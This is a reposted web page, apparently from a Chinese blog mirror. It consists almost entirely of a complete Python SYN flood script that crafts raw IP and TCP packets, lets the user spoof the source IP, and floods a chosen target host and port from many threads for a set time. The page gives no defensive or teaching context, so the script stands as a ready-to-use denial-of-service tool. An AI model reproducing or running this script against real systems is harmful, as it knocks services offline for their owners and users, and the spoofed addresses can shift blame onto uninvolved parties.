zoukankan      html  css  js  c++  java
  • 【转载】Synflood code

    '''
        Syn flood program in python by Tequila/e
    
        credits to Silver Moon for base's of syn packets.
    
        r
        s
        s 
        y
        n
    ''' 
    
    # some imports
    import socket, sys, os
    import threading
    import time
    import thread
    from struct import *
    
    if len(sys.argv) < 5:
        print("Usage: python rssyn.py <source ip> <destination ip> <destination port> <amount of threads> <time>");
        sys.exit();
    
    # checksum functions needed for calculation checksum
    def checksum(msg):
        s = 0
        # loop taking 2 characters at a time
        for i in range(0, len(msg), 2):
            w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
            s = s + w
    
        s = (s>>16) + (s & 0xffff);
        #s = s + (s >> 16);
        #complement and mask to 4 byte short
        s = ~s & 0xffff
    
        return s
    
    #create a raw socket
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    except socket.error , msg:
        print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message: ' + msg[1]
        sys.exit()
    
    # tell kernel not to put in headers, since we are providing it
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    
    # now start constructing the packet
    packet = '';
    
    source_ip = sys.argv[1]
    dest_ip = sys.argv[2] # or socket.gethostbyname('www.google.com')
    threads = sys.argv[4]
    run_time_in_seconds = sys.argv[5]
    os.system('clear')
    print "##"
    print "#    r    #"
    print "#    s    #"
    print "#    s    #"
    print "#    y    #"
    print "#    n    #"
    print "#    Flood    #"
    print "#    Made by e    #"
    print "##"
    # ip header fields
    ihl = 5
    version = 4
    tos = 0
    tot_len = 20 + 20   # python seems to correctly fill the total length, dont know how ??
    id = 54321  #Id of this packet
    frag_off = 0
    ttl = 255
    protocol = socket.IPPROTO_TCP
    check = 10  # python seems to correctly fill the checksum
    saddr = socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to
    daddr = socket.inet_aton ( dest_ip )
    
    ihl_version = (version << 4) + ihl
    
    # the ! in the pack format string means network order
    ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)
    
    # tcp header fields
    source = 1234   # source port
    dest = int(sys.argv[3])   # destination port
    seq = 0
    ack_seq = 0
    doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
    #tcp flags
    fin = 0
    syn = 1
    rst = 0
    psh = 0
    ack = 0
    urg = 0
    window = socket.htons (5840)    #   maximum allowed window size
    check = 0
    urg_ptr = 0
    
    offset_res = (doff << 4) + 0
    tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5)
    
    # the ! in the pack format string means network order
    tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)
    
    # pseudo header fields
    source_address = socket.inet_aton( source_ip )
    dest_address = socket.inet_aton(dest_ip)
    placeholder = 0
    protocol = socket.IPPROTO_TCP
    tcp_length = len(tcp_header)
    
    psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
    psh = psh + tcp_header;
    
    tcp_checksum = checksum(psh)
    
    # make the tcp header again and fill the correct checksum
    tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)
    
    # final full packet - syn packets dont have any data
    packet = ip_header + tcp_header
    #Send the packet finally - the port specified has no effect
    
    print "Starting rssyn flood on " + str(dest_ip) + ":" + str(dest) + " from " + str(source_ip)
    print "With " + str(threads) + " threads for " + str(run_time_in_seconds) + " seconds." 
    
    start_time = time.time()
    global spawned_threads
    spawned_threads = []
    spawned = 0
    total_packets = 0
    def sendPackets():
        while (time.time() - start_time) < int(run_time_in_seconds):
            s.sendto(packet, (dest_ip , 0 ))
            global total_packets
            total_packets += 1
            print str(total_packets) + " Packets sent to " + dest_ip + "
    "
    while (spawned < int(threads)):
        c = threading.Thread(target=sendPackets)
        spawned_threads.append(c)
        spawned += 1
    for Threader in spawned_threads:
        Threader.start()
        print str(Threader) + " Started"
    for Threads in spawned_threads:
        Threads.join()    
    print "All threads have finished flooding for " + run_time_in_seconds + " seconds.."
    print "Flood stopping.."
    print "Shutting Down"
    
  • 相关阅读:
    数字资产交易所记录
    How to decode input data from a contract transaction without ABI?
    【收藏】ETH以太坊各个环境的公共的RPC服务!!!
    Solidity知识点集 — 溢出和下溢
    docker run 与docker start的区别
    子网掩码计算192.168.1.0/24 24 / 11
    Solidity-让合约地址 接受ETH的转账充值的 三种方式
    echarts的散点图
    debug.js中的length的错误
    26个工具类
  • 原文地址:https://www.cnblogs.com/phoenix--/p/3435718.html
Copyright © 2011-2022 走看看